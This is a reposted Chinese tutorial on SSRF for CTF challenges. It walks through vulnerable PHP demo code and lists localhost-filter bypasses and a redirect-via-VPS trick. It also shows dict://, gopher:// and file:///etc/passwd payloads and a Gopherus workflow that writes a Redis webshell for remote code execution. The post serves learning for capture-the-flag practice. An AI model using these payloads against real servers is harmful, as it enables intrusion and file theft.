CTF ssrf 基础入门 (一)

news2024/9/21 1:52:00

0x01 引言

我发现我其实并不是很明白这个东西,有些微妙,而且记忆中也就记得Gopherus这个工具了,所以重新学习了一下,顺便记录一下吧

0x02 辨别

我们拿到一个题目,他的名字可能就是题目类型,但是也有可能是个note或者是blog等等网站,那么下面讲一些常见的后端响应

file_get_contents

这个函数非常常见
用于读取文件

file_get_contents(string $filename, bool $use_include_path = false, resource $context = null, int $offset = 0, int $maxlen = -1)

$filename: 必需参数,指定要读取的文件路径。
$use_include_path: 可选参数,默认为 false。如果设为 true,则会在 PHP 的 include 路径中搜索文件。
$context: 可选参数,是一个资源类型,通常用于指定文件句柄的上下文。例如,可以用来设置 HTTP 请求头(当读取远程文件时)。
$offset: 可选参数,指定从文件的哪个字节开始读取。
$maxlen: 可选参数,指定要读取的最大字节数。默认为 -1,表示读取到文件末尾

fsockopen()

这个东西就和python中的socket一样

fsockopen(string $hostname, int $port = -1, int &$errno = null, string &$errstr = null, float $timeout = ini_get("default_socket_timeout"))

$hostname: 必需,指定要连接的主机名或 IP 地址。
$port: 可选,默认为 -1。指定要连接的端口号。
$errno: 可选,输出变量,用于存储发生错误时的错误号。
$errstr: 可选,输出变量,用于存储发生错误时的错误信息。
$timeout: 可选,默认使用 PHP 配置中的默认超时设置(default_socket_timeout)。指定连接超时时间(秒)。
<?php
$a=fsockopen('ip',port);
if($a){
    echo 1;
}else {
    echo 0;
}
?>

直接就弹shell还是行

curl_exec()

成功时,返回执行请求后得到的数据,通常是服务器响应的内容,格式依据请求和响应(如 HTML、JSON、图像数据等)。 失败时,返回
false。可以通过 curl_error() 获取错误信息。

怎么说呢相当于一个体系中的一个环节?然后返回响应,curl http://ceye

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);  
curl_setopt($ch, CURLOPT_HEADER, 0);  //不要header值
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);//返回数据为字符串
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>

POST:
url=http://127.0.0.1/flag.php

在这里顺便说说curl_setopt

curl_setopt(resource $ch, int $option, mixed $value)
$ch: 必需,由 curl_init 返回的 cURL 会话资源。
$option: 必需,要设置的选项常量。这些常量通常以 CURLOPT_ 开头,例如 CURLOPT_URL、CURLOPT_RETURNTRANSFER 等。
$value: 必需,要赋予选项的值。这个值的类型取决于所设置的选项。很有可能是个布尔值 ,1||0

0x03 绕过

前面看那几个函数看出来之后基本上就是技巧了

0x01 思路

首先思路要立正,我们是根据ssrf的漏洞去带出文件内容
所以我们传参肯定是传路径,并且是本地

0x02 本地

127.0.0.1
localhost
0
0.0.0.0
127.0.0
127。0。0。1
127\.0\.0\.1
127.1
sudo.cc      
0x7F000001		16进制
2130706433		十进制
0x7f.0.0.1          16进制
0177.0.0.1         八进制
ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ  >>>  example.com
List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ 
⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ 
⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ 
⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ 
Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ 
ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ 
⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ 
⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿

0x03 vps

当本地在后端响应已经被过滤完之后,我们还可以用vps进行远程

demo

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']);//gethostbyname这个函数根据域名返回IP
echo '</br>'.$ip.'</br>';//将获得的IP显示在网页
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {     //看ip是否为公网IP
    die('ip!');
}


echo file_get_contents($_POST['url']);
}
else{
    die('scheme');
}
?> 

利用header函数写一个文件

<?php header("Location:http://127.0.0.1/flag.php")?>

然后传参

POST:
url=http://ip/文件名

0x04 parse_url

<?php
var_dump(parse_url('https://www.example.com:8080/path/to/resource/index.html?key1=value1&key2=value2#section2'));
?>
这就是一个完整的url

array(6) {
  ["scheme"]=>
  string(5) "https"
  ["host"]=>
  string(15) "www.example.com"
  ["port"]=>
  int(8080)
  ["path"]=>
  string(28) "/path/to/resource/index.html"
  ["query"]=>
  string(23) "key1=value1&key2=value2"
  ["fragment"]=>
  string(8) "section2"
}

这个函数非常便于我们去尝试出正确的能绕过的url

URL 中的 @ 符号在标准的 URL 格式中具有特殊含义,它用于分隔用户名(可选)和主机名。当 @ 出现在用户名和密码之后、主机名之前时,它用于指定访问资源时使用的身份验证凭据。例如:

http://ctf.@127.0.0.1/flag.php?show

array(5) {
  ["scheme"]=>
  string(4) "http"
  ["host"]=>
  string(9) "127.0.0.1"
  ["user"]=>
  string(4) "ctf."
  ["path"]=>
  string(9) "/flag.php"
  ["query"]=>
  string(4) "show"
}

0x04 协议

Dict 协议


dict://fuzz.wuyun.org:8080/helo:dict
Gopher 协议


gopher://fuzz.wuyun.org:8080/gopher
File 协议


file:///etc/passwd

有这三种,但是我还没用过,所以暂时不分享了
不过我不知道Gopherus这个工具算不算协议
gopherus
去下载之后,配置就不说了,我记得好像是go语言的环境
下载完就是大概这个东西
在这里插入图片描述

然后使用方法也很简单
在这里插入图片描述
mysql的

在这里插入图片描述
然后传参去RCE
Redis的
在这里插入图片描述

默认生成/var/www/html/shell.php
密码是自己写的1,然后RCE

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1947405.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

STM32H7的MDMA、DMA2D和通用DMA性能比较

STM32H7的MDMA、DMA2D和通用DMA性能比较 MDMA测试初始化MDMA数据传输&#xff08;DWT单位2.5n&#xff09; DMA2DDMA2D初始化数据传输 DMA最终结论&#xff08;参考armfly&#xff09; MDMA&#xff0c;DMA2D 和每个都测试了四种情况&#xff1a; ◆ 64 位带宽的 AXI SRAM 内部…

STM32F401VET6 PROTEUS8 ILI9341 驱动显示及仿真

stm32cubemx新建工程代码&#xff0c;并生成工程 设置gpio 设置SPI 其他的参考stm32默认设置 然后编辑驱动代码 ili9341.h #ifndef ILI9341_H #define ILI9341_H#include <stdbool.h> #include <stdint.h>#include "glcdfont.h" #include "stm32…

rv1126物体检测 rkmedia、opencv……

整体码流流向&#xff1a; 因此代码也分为这几部分&#xff1a; VI&#xff1a;采集视频 配置视频采集信息 模型推理线程&#xff1a;获取VI码流、载入模型、进行模型推理、保存推理结果 画框线程&#xff1a;获取VI码流、获取推理结果、显示推理结果、输出码流到VENC VENC…

w30-python02-pytest入门

代码如下&#xff1a; import pytest class Test_Obj:"""测试类"""#用例级别前后置def setup(self):print(用例级别------的前置处理)def teardown(self):print("用例级别--------的后置处理")# 用例def test_case1(self):print(&quo…

Photoshop(PS) 抠图简单教程

目录 快速选择 魔棒 钢笔 橡皮擦 蒙版 通道 小结 可以发现&#xff0c;ps逐渐成为必备基础的办公软件。本文让ps新手轻松学会抠图。 快速选择 在抠图之前&#xff0c;先了解下选区的概念。ps中大多数的抠图操作都是基于选区的&#xff0c;先选区再Ctrl J提取选区。而快…

android13 Settings动态显示隐藏某一项

总纲 android13 rom 开发总纲说明 目录 1.前言 2.确定目标设置项 3.修改参考 3.1 方法1 3.2 方法2 4.编译测试 5.彩蛋 1.前言 在Android 13系统中,动态显示或隐藏Settings应用中的某一项通常涉及到对Settings应用的内部逻辑进行修改。由于Settings应用是一个系统应用…

Fine-BI学习笔记

官方学习文档&#xff1a;快速入门指南- FineBI帮助文档 FineBI帮助文档 (fanruan.com) 1.零基础入门 1.1 功能简介 完成四个流程&#xff1a;新建分析主题、添加数据、分析数据、分享协作。 示例数据获取&#xff1a;5分钟上手FineBI - FineBI帮助文档 (fanruan.com) 1.2 …

Vue--解决error:0308010C:digital envelope routines::unsupported

原文网址&#xff1a;Vue--解决error:0308010C:digital envelope routines::unsupported_IT利刃出鞘的博客-CSDN博客 简介 本文介绍如何解决node.js在运行Vue项目时的报错&#xff1a;error:0308010C:digital envelope routines::unsupported。 问题描述 使用node.js运行Vu…

Zabbix监控TiDB数据库教程

作者 乐维社区&#xff08;forum.lwops.cn&#xff09; 许远 1概述 TiDB数据库是一个常见的开源分布式关系型数据库&#xff0c;通过使用分布式事务、分布式 SQL 引擎和分布式存储引擎来实现高可用性和横向扩展性。而 Docker 则是一个开源的容器化平台&#xff0c;它可以帮助开…

服务端渲染中的数据获取:结合 useRequestHeaders 与 useFetch

title: 服务端渲染中的数据获取&#xff1a;结合 useRequestHeaders 与 useFetch date: 2024/7/24 updated: 2024/7/24 author: cmdragon excerpt: 摘要&#xff1a;本文介绍Vue服务端渲染中使用useRequestHeaders获取请求头部信息&#xff0c;如cookie和authorization&…

入门 PyQt6 看过来(案例)07~ 文件选择

本文实现一个图片和文本文件选择器的案例&#xff0c;效果如下&#xff1a; ​ 文件选择查看功能很简单&#xff0c;只需要设计好图片文件和文本文件的选择函数就可以了。 1 图片文件选择 #图片文件选择槽函数&#xff0c;支持png ico jpg格式文件def imgFile(self):fname, _tm…

paraFoam 运行 报错 usr/lib/x86_64-linux-gnu/libQt5Core.so 已解决

在日常项目开发中。使用ubuntu 视图开发的时候。报错 缺少 libQt5Core 核心组件&#xff01; whereis libQt5Core.so.5sudo strip --remove-section.note.ABI-tag /usr/lib/x86_64-linux-gnu/libQt5Core.so.5 完美解决&#xff0c;并且能正常打开&#xff0c;前提是&#xff0c…

嵌入式MCU固件的几种Flash划分方式详解

通过OTA远程等方式下载的程序,其实还需要提前下载bootloader程序,才能进一步下载APP程序。 今天就来说说通过OTA方式升级固件时,几种flash划分方式。 独立型 所谓独立型就是专门划出一部分闪存(Flash)空间用来存储引导程序(BootLoader)。 如下图: BootLoader:引导…

如何正确选择叉车防撞系统?不可忽视的五大关键要素!

在繁忙的工业环境中&#xff0c;叉车防撞系统的选择是一项至关重要的任务。一个高效、可靠的防撞系统&#xff0c;不仅能够减少事故发生率&#xff0c;还能保障员工的安全和设备的完好。然而&#xff0c;市场上的叉车防撞系统种类繁多&#xff0c;如何正确选择&#xff0c;避免…

SQL注入万字详解,基于sqli-labs(手注+sqlmap)

目录 一、什么是SQL 1.什么是SQL 2.SQL的作用 3.MySQL基础知识 4.SQL增、删、改语句 *5.SQL查询语句 二、什么是SQL注入 1.SQL注入原理&#xff1a; 2.SQL注入&#xff1a; 3.SQL注入危害&#xff1a; 4.SQL注入技术分类&#xff1a; 5.防御方法&#xff1a;使用参…

图形编辑器基于Paper.js教程09:鼠标拖动画布,以鼠标点为缩放中心进行视图的缩放

如何使用Paper.js实现画布的缩放与拖动功能 在Web开发中&#xff0c;利用Paper.js库进行图形的绘制和交互操作是一种常见的实践。Paper.js是一个强大的矢量图形库&#xff0c;可以让开发者通过简洁的API完成复杂的图形操作。在本文中&#xff0c;我们将详细探讨如何使用Paper.…

electron安装及快速创建

electron安装及快速创建 electron是一个使用 JavaScript、HTML 和 CSS 构建桌面应用程序的框架。 详细内容见官网&#xff1a;https://www.electronjs.org/zh/docs/latest/。 今天来记录下练习中的安装过程和hello world的创建。 创建项目文件夹&#xff0c;并执行npm 初始化命…

【MetaGPT系列】【MetaGPT完全实践宝典——如何定义单一行为多行为Agent】

目录 前言一、智能体1-1、Agent概述1-2、Agent与ChatGPT的区别 二、多智能体框架MetaGPT2-1、安装&配置2-2、使用已有的Agent&#xff08;ProductManager&#xff09;2-3、拥有单一行为的Agent&#xff08;SimpleCoder&#xff09;2-3-1、定义写代码行为2-3-2、角色定义2-3…

增材制造与智能制造关系

在撰写的增材制造技术与装备书籍中有着明确的描述&#xff0c;增材制造是智能制造的典型范例&#xff0c;是智能制造“类”的实例化过程。这种借助于计算机编程面向对象思想的解释可以更全面的理解增材制造和智能制造的关系。增材制造实例具备了智能制造类的属性&#xff0c;智…

第4章 .NET 8.0 ASP.NET Core图书管理系统 :项目布局

第1章 框架学习的基石与实战策略 第2章 大话ASP.NET Core 入门 第3章 创建最小&#xff08;Minimal APIs&#xff09;API应用程序 第4章 .NET 8.0 ASP.NET Core图书管理系统 &#xff1a;项目布局 在第3章中&#xff0c;我们利用ASP.NET Core的“空”模板创建了BookQueryS…